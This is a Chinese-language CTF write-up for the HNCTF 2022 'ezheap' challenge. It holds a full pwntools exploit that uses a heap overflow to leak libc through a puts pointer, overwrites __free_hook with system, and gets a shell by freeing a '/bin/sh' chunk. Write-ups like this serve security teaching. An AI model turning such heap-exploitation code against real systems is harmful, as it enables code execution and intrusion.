[HNCTF 2022 WEEK4]ezheap wp

64位堆溢出题目,保护全开,本题用到chunk extend以及__free_hook劫持
menu存在4个函数,其中add函数中一次malloc两个堆块

第一个堆块是description,第二个堆块才是real content存放处
而本体堆块结构体中存放puts的实际地址,可以以此泄露地址计算libc基址

下面是exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])


io=process("./ezheap")
# io=remote("43.143.7.127",28232)
elf=ELF("./ezheap")
libc=ELF("./libc-2.23.so")


def add(n,s,c,cc):
    io.recvuntil("Choice: \n")
    io.send(b"1")
    io.recvuntil("Input your idx:\n")
    io.send(str(n))
    io.recvuntil(b"Size:\n")
    io.send(str(s))
    io.recvuntil(b"Name: \n")
    io.send(c)
    io.recvuntil(b"Content:\n")
    io.send(cc)

def delete(n):
    io.recvuntil("Choice: \n")
    io.send(b"2")
    io.recvuntil("Input your idx:\n")
    io.send(str(n))

def show(n):
    io.recvuntil("Choice: \n")
    io.send(b"3")
    io.recvuntil("Input your idx:\n")
    io.send(str(n))

def edit(n,s,c):
    io.recvuntil("Choice: \n")
    io.send(b"4")
    io.recvuntil("Input your idx:\n")
    io.send(str(n))
    io.recvuntil(b"Size:\n")
    io.send(str(s))
    io.send(c)

add(0,0x40,b"asd",b"asd") #0
add(1,0x40,b"asd",b"asd") #1
# add(2,0x40,b"asd",b"asd")

gdb.attach(io)
pause()

edit(0,0x70,cyclic(0x70))  #0x70bytes到puts的内存地址

show(0) #overlapped chunk 0

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]

print("leak_addr:  "+hex(leak_addr))

sys_addr=leak_addr+libc.sym[b"system"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]

payload=cyclic(0x40)+p64(0)+p64(0x31)+p64(0)*2+p64(free_hook-8)
edit(0,len(payload),payload)
payload=b"/bin/sh\x00"+p64(sys_addr)
edit(1,len(payload),payload)
delete(1)

io.interactive()

先分配两块符合fastbin大小的堆块,通过edit函数堆溢出至puts地址处

add(0,0x40,b"asd",b"asd") #0
add(1,0x40,b"asd",b"asd") #1
edit(0,0x70,cyclic(0x70)) 


获取libc后考虑劫持__free_hook到system函数处
于是再次使用堆溢出将之前申请的堆块1的description块处的偏移为0x10处地址覆盖为(&__free_hook-0x8),将description末尾(即偏移为0x18处)标志位赋值为1,以便能够被free掉,如下判断

之后edit(1)时可以直接从此处开始覆盖,并且&__free_hook-0x8处覆盖为/bin/sh\x00,&__free_hook处覆盖为system地址,最后free(1)时便可以getshell